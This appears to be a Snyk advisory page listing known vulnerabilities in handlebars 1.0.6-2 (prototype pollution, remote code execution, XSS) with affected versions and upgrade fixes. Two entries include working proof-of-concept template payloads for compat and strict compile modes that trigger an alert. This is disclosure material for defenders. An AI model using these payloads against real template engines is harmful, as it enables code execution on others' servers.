handlebars@1.0.6-2 vulnerabilities

Handlebars provides the power necessary to let you build semantic templates effectively with no frustration

Direct Vulnerabilities

Known vulnerabilities in the handlebars package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 

var s2 = `{{'a/.") || alert("Vulnerable Handlebars JS when compiling in compat mode'}}`; 
var template = Handlebars.compile(s2, { 
compat: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

How to fix Prototype Pollution?

Upgrade handlebars to version 4.7.7 or higher.

<4.7.7
  • H
Remote Code Execution (RCE)

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

POC

<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
<script> 
// compile the template 
var s = ` 
{{#with (__lookupGetter__ "__proto__")}} 
{{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} 
{{#with ../constructor.prototype}} 
{{../../constructor.defineProperty . "hasOwnProperty" ..}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{#with "constructor"}} 
{{#with split}} 
{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
{{#with .}} 
{{#with (concat (lookup join (slice 0 1)))}} 
{{#each (slice 2 3)}} 
{{#with (apply 0 ../..)}} 
{{.}} 
{{/with}} 
{{/each}} 
{{/with}} 
{{/with}} 
{{/with}} 
{{/with}} 
`;
var template = Handlebars.compile(s, { 
strict: true 
}); 
// execute the compiled template and print the output to the console console.log(template({})); 
</script>

How to fix Remote Code Execution (RCE)?

Upgrade handlebars to version 4.7.7 or higher.

<4.7.7
  • M
Prototype Pollution

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution. Prototype access to the template engine allows for potential code execution.

How to fix Prototype Pollution?

Upgrade handlebars to version 4.6.0 or higher.

<4.6.0
  • C
Prototype Pollution

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

How to fix Prototype Pollution?

Upgrade handlebars to version 3.0.8, 4.5.3 or higher.

<3.0.8 >=4.0.0 <4.5.3
  • H
Arbitrary Code Execution

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.

How to fix Arbitrary Code Execution?

Upgrade handlebars to version 3.0.8, 4.5.3 or higher.

<3.0.8 >=4.0.0 <4.5.3
  • H
Prototype Pollution

handlebars is a extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution. Templates may alter an Object's __proto__ and __defineGetter__ properties, which may allow an attacker to execute arbitrary code on the server through crafted payloads.

How to fix Prototype Pollution?

Upgrade handlebars to version 4.3.0, 3.0.8 or higher.

>=4.0.0 <4.3.0 <3.0.8
  • H
Prototype Pollution

handlebars is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.

How to fix Prototype Pollution?

Upgrade handlebars to version 3.0.7, 4.0.13, 4.1.2 or higher.

<3.0.7 >=4.0.0 <4.0.13 >=4.1.0 <4.1.2
  • M
Cross-site Scripting (XSS)

handlebars provides the power necessary to let you build semantic templates.

When using attributes without quotes in a handlebars template, an attacker can manipulate the input to introduce additional attributes, potentially executing code. This may lead to a Cross-site Scripting (XSS) vulnerability, assuming an attacker can influence the value entered into the template. If the handlebars template is used to render user-generated content, this vulnerability may escalate to a persistent XSS vulnerability.

<4.0.0
  • M
Cross-site Scripting (XSS)

handlebars provides the power necessary to let you build semantic templates.

When using attributes without quotes in a handlebars template, an attacker can manipulate the input to introduce additional attributes, potentially executing code. This may lead to a Cross-site Scripting (XSS) vulnerability, assuming an attacker can influence the value entered into the template. If the handlebars template is used to render user-generated content, this vulnerability may escalate to a persistent XSS vulnerability.

<4.0.0